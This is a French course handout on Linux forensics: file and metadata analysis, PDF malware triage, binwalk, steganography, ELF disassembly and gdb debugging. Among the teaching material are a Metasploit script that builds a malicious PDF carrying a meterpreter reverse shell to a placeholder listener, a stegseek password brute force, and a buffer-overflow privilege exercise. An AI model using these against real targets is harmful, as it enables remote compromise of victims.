Vous êtes sur la page 1sur 11

Investigation Numérique

Linux

Les fichiers
La commande file va déterminer le type de fichier selon trois ensembles de tests effectués dans cet
ordre: tests de système de fichiers, tests magiques, et tests de langage utilisé…
Exemples :
file /dev/sda1
file Documents/
file image.png
file fichier.pdf
file $(which adduser)
file $(which useradd)

La commande find permet de localiser et de gérer les fichiers et les répertoires en fonction d’un
large éventail de critères de recherche. Elle peut trouver des répertoires et des fichiers par leur nom,
leur type ou leur extension, leur taille, leurs autorisations…
Exemples :
find /var/www/ -mtime -7
find /usr/bin -perm -4000
find / -type f -name "authorized_keys"

La commande file associée à la commande find :


Exemples :
find Téléchargements -type f 2>/dev/null -exec file {} \; |grep image
find Téléchargements -type f 2>/dev/null -exec file {} \; |grep PNG

Les fichiers binaires


strings image.jpg
La commande strings extrait les chaînes ASCII des fichiers binaires
hexdump -C image.jpg
La commande hexdump permet d'afficher le contenu d'un fichier au format spécifié :
-C Canonical : hex+ascii

od -c image.jpg
la commande od affiche le contenu d’un fichier en octal ou sous d’autres formats :
-c caractère affichable

xxd image.jpg
La commande xxd convertit en représentation hexadécimale et inversement
xxd image.jpg > image.dump
xxd -r image.dump > image2.jpg
cmp image.jpg image2.jpg # cmp : compare octet par octet
echo $?

Les métadonnées
La commande exiftool permet de lire, voire pour certains types de fichier (image, audio, vidéo...)
d’écrire et manipuler des métadonnées… Les informations contenues dans les métadonnées peuvent
être de tout type, du nom de l'entreprise au nom de l'ordinateur, en passant par les dates de
modification, l'emplacement, etc.
Exemples :
exiftool image.jpg
exiftool -comment="mon commentaire" image.jpg
exiftool fichier.pdf

La commande pdfinfo permet de visualiser les propriétés des documents PDF, notamment: l'auteur,
le titre, le sujet, les mots-clés, etc

N.B. Voir tp criminalistique…

Investigation pdf avancée avec pdfid et pdf-parser.


La commande pdfid analyse un fichier pour rechercher certains mots-clés PDF, vous permettant
d'identifier les documents PDF qui contiennent (par exemple) du JavaScript ou exécutent une action
à l'ouverture.
Voir pdf-doc-vba-eicar-dropper.pdf
pdfid pdf-doc-vba-eicar-dropper.pdf
On voit qu’il y a un script dans /javavascript, dans /JS qui, par contre ne se lancent pas à l’ouverture
du fichier :
/JS 1
/JavaScript 1
/Launch 0
On va maintenant utiliser pdf-parser qui va analyser notre document PDF pour identifier les
éléments utilisés.
pdf-parser pdf-doc-vba-eicar-dropper.pdf
On voit que l’objet 9 contient une action javascript :
pdf-parser -o 9 pdf-doc-vba-eicar-dropper.pdf
pdf-parser -c pdf-doc-vba-eicar-dropper.pdf
Nous montre ce qui ressemble à un shellcode…
Pour désarmer notre pdf :
pdfid -d pdf-doc-vba-eicar-dropper.pdf
Nous nous retrouvons avec un nouveau fichier :
pdfid pdf-doc-vba-eicar-dropper.disarmed.pdf

Pour créer nous-même notre pdf piégé avec msfconsole :
vi maliciouspdf.rc
use exploit/windows/fileformat/adobe_utilprintf
set FILENAME malicious.pdf
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST listening_ip
set LPORT tcp_port
exploit

msfconsole -qr maliciouspdf.rc.


Vous pouvez ensuite aller analyser le fichier :
~/.msf4/local/malicious.pdf

Binwalk
Binwalk est un outil de recherche de fichiers embarqués et de code exécutable dans une image
binaire donnée.
Par exemple :
binwalk fichier # affiche le cas échéant les données embarquées par le fichier
binwalk -e fichier # extrait le cas échéant les données embarquées par le fichier
binwalk -D "pdf:pdf" fichier # extrait les fichiers pdf embarquées par le fichier

Exemple :
cat image.jpg secret.pdf > img.bin
file img.bin
xdg-open img.bin
binwalk img.bin
binwalk -D "pdf:pdf" img.bin
file _img.bin.extracted/*
xdg-open _img.bin.extracted/1F083.pdf

Exercice :
Avec notre fichier pdf-doc-vba-eicar-dropper.pdf
Extrayez le fichier doc et trouvez la macro AutoOpen…

Stéganographie
La stéganographie est une forme de dissimulation (ou d'offuscation) d'information dans le but de
transmettre un message de manière inaperçue au sein d'un fichier.
Exemple :
expéditeur : echo "message caché" | base64 >> image.jpg
destinataire : tail -n1 image.jpg | base64 -d
Exercice :
Avec chacun des éditeurs hexadécimaux présentés plus haut, essayez de retrouver le message
caché…
Pouvez-vous le supprimer?
Si oui, comparez les deux hashs des fichiers images (avec et sans message)
La commande steghide permet de dissimuler des données dans des fichiers JPEG, BMP, WAV ou
AU (plus très utilisé)…
Exemple :
sudo apt install steghide
Après avoir fait une sauvegarde de image.jpg
steghide embed -cf image.jpg -ef secret.txt
Pour l’extraire :
steghide extract -sf image.jpg
Exercice :
Avec chacun des éditeurs hexadécimaux présentés plus haut, essayez de retrouver le message
caché…
Avec binwalk, arrivez-vous à extraire le fichier embarqué ?
En comparant, à l’aide de ces éditeurs hexadécimaux, l’image originale et l’image obtenue,
devinez-vous une « signature » ?
Brute-forcing steghide…
sudo apt install stegseek
stegseek image.jpg /usr/share/wordlists/rockyou.txt

La commande stegsnow permet de cacher un message dans du texte brut. La méthode utilise les
tabulations et les espaces qui ne sont pas visibles pour dissimuler un message. Les données sont
masquées dans le fichier texte en ajoutant des séquences d’espaces, entrecoupés de tabulations.
sudo apt install stegsnow
stegsnow -C -m "message caché" -p "mot de passe" infile outfile
Où infile est le fichier original et outfile, le fichier embarquant des données…
Ouvrez le fichier outfile avec vi
:set list (pour afficher les caractères cachés)

Pour extraire le message :


stegsnow -C -p "mot de passe" outfile
N.B. Il existe des programmes censés brute-forcer stegsnow sur github… Mais aucun ne m’a
convaincu…

Les exécutables
Les exécutables sous Linux sont du format ELF (executable link format) alors que sous Windows,
ils sont du format PE (Portable executable).

ELF
L’analyse des exécutables
A titre d’exemple, vous avez les sources d’une application en C…
Il va donc vous falloir le compiler :
gcc -o hello hello.c
l’option -o indique l’exécutable de sortie

Ensuite, le processus d’analyse d'un programme doit commencer par une identification appropriée.

SAST
Static Application Security Test

file hello

ldd hello

strings hello

Nous pouvons après voir de plus près à quoi ressemble notre programme en le désassemblant.

Pour rappel :

La commande nm permet de lister les symboles des fichiers objets (qui correspondent aux variables
et fonctions). Si on strip ce fichier objet (man strip), on supprime ces symboles, et les fonctions et
variables ne sont plus accessibles avec un désassembleur ou un débogueur..

nm hello (on y retrouve notre fonction main)

strip hello -o hello_stripped

nm hello_stripped

La commande objdump permet d'afficher diverses informations sur les fichiers objets sur les
systèmes d'exploitation de type Unix. Il peut être utilisé comme désassembleur pour afficher un
exécutable (windows PE ou linux ELF…) sous forme d'assemblage.

objdump -d hello
-d, --disassemble Afficher le contenu assembleur des sections exécutables

objdump -D hello

-D, --disassemble-all Afficher le contenu assembleur de toutes les sections

On voit ici qu’il y a plusieurs sections :

Un programme d'assemblage peut être divisé en trois principales sections : La section data,la
section bss, et la section text.
La section data est utilisée pour déclarer des données ou des constantes initialisées (avec la section
rodata)
La section bss est utilisée pour déclarer les variables.
La section text est utilisée pour conserver le code de l’application.

Ici, c’est la fonction main (de la section text) qui nous intéresse :

Grâce à la table des symboles, nous pouvons la retrouver :

objdump --disassemble=main hello # essayez ensuite avec hello_stripped…

On voit ici des registres : %rsp,%rbp,%rdi, (les registres sont des petites zones mémoire dans le
processeur où sont stockées les variables d'entrée ou de sortie d'un calcul) et des instructions : push,
mov, lea, call…

N.B. L'assembleur est un langage sans structure de contrôle. On utilise les comparaisons avant un
branchement conditionnel, pour implanter un if ou un while…
D’autres sections peuvent nous intéresser, notamment :

objdump -d -j .data hello

objdump -d -j .rodata hello

Pour les exécutables ELF (Linux), nous pouvons également utiliser readelf :

readelf -h hello

readelf -a hello

readelf -x .rodata hello

N.B. Il existe un assembleur, compilateur en ligne : https://godbolt.org/

DAST
Dynamic Application Security Test

Faisons maintenant une analyse dynamique. Attention, l'analyse dynamique doit être effectuée dans
un environnement sandbox. J’ai choisi ici LXC.
Rappels :
sudo apt install lxc
sudo lxc-create -n sandbox -t download
On va choisir ici une machine ubuntu jammy amd64
sudo lxc-start -n lxc
sudo lxc-attach -n lxc

root@sandbox:/# apt install binutils ltrace strace gcc gdb

On va recompiler notre application en y ajoutant des informations de débogage.


gcc -g -o hello hello.c
ltrace permet de tracer les appels effectués par des programmes vers des fonctions de bibliothèque.
ltrace ./hello
On voit ici que notre fonction printf fait appel à la fonction printf de la librairie C.
Si on optimise la compilation :
gcc -g -O1 -o hello hello.c
ltrace ./hello
On voit ici que notre fonction printf fait appel à la fonction puts de la librairie C.

strace permet de surveiller les appels système utilisés par un programme.


strace ./hello
On voit ici qu’il exécute finalement un appel système d'écriture : write. Dans notre cas, le premier
paramètre d'écriture a la valeur 1 qui désigne STDOUT (la sortie de la console). Le deuxième
paramètre est le message. Il écrit donc le message sur STDOUT.

Passons au débogage.

GNU Debugger, également appelé GDB, est le débogueur standard du projet GNU
gdb ./hello
La première chose, avant de lancer le débogage, est de placer un point d’arrêt, nous allons le
placer au début de la fonction main :
(gdb) b * main # marque un point d’arrêt au symbole main correspondant à la fonction de
même nom
(gdb) run # lance le programme jusqu’au point d’arrêt
Nous allons maintenant regarder le code assembleur correspondant :
(gdb) disass
Et l’état des registres :
(gd) info registers
%rsp est le pointeur de pile et pointe toujours vers le haut de la pile.
%rbp représente le pointeur de base (également appelé pointeur de frame) et pointe vers la base du
frame de pile actuel.
%rdi : register destination index (destination pour les copies de data)
%rax for the return value from a function

Nous allons allons maintenant aller d’instruction en instruction et regarder évaluer les registres
avec l’avancée du pointeur… Grace aux informations de débogage, nous voyons les instructions du
code source correspondantes…
(gdb) ni
(gdb) disass
(gdb) info registers
Jusqu’à ce que s’affiche « Hello World ! »
Après avoir, encore une une fois, vu l’état des registres, nous pouvons maintenant continuer le
programme normalement et enfin quitter gdb.
(gdb) c
(gdb) q
Essayons maintenant avec un fichier strippé :
strip hello -o hello_stripped
nm hello_stripped
gdb ./hello_stripped
(gdb) b * main

N.B. Pour passer des arguments à gdb :


gdb --args ls /home/

Exercice :
Essayez de trouver le mot de passe du programme bufferflow…
En informatique, un dépassement de tampon ou débordement de tampon (en anglais, buffer
overflow ou BOF) est un bug par lequel un processus, lors de l'écriture dans un tampon, écrit à
l'extérieur de l'espace alloué au tampon, écrasant ainsi des informations nécessaires au processus.
Toujours avec le programme bufferflow.
Avec gdb :
gdb ./bufferflow
(gdb) b * main
(gdb) run
(gdb) info locals # affiche les variables locales
(gdb) print pass # ok
(gdb) print buff # ça ne nous dit pas grand chose
(gdb) print &buff # et là ?

Déduisez-en comment faire un dépassement de tampon pour être administrateur sans connaître le
mot de passe…

Vous aimerez peut-être aussi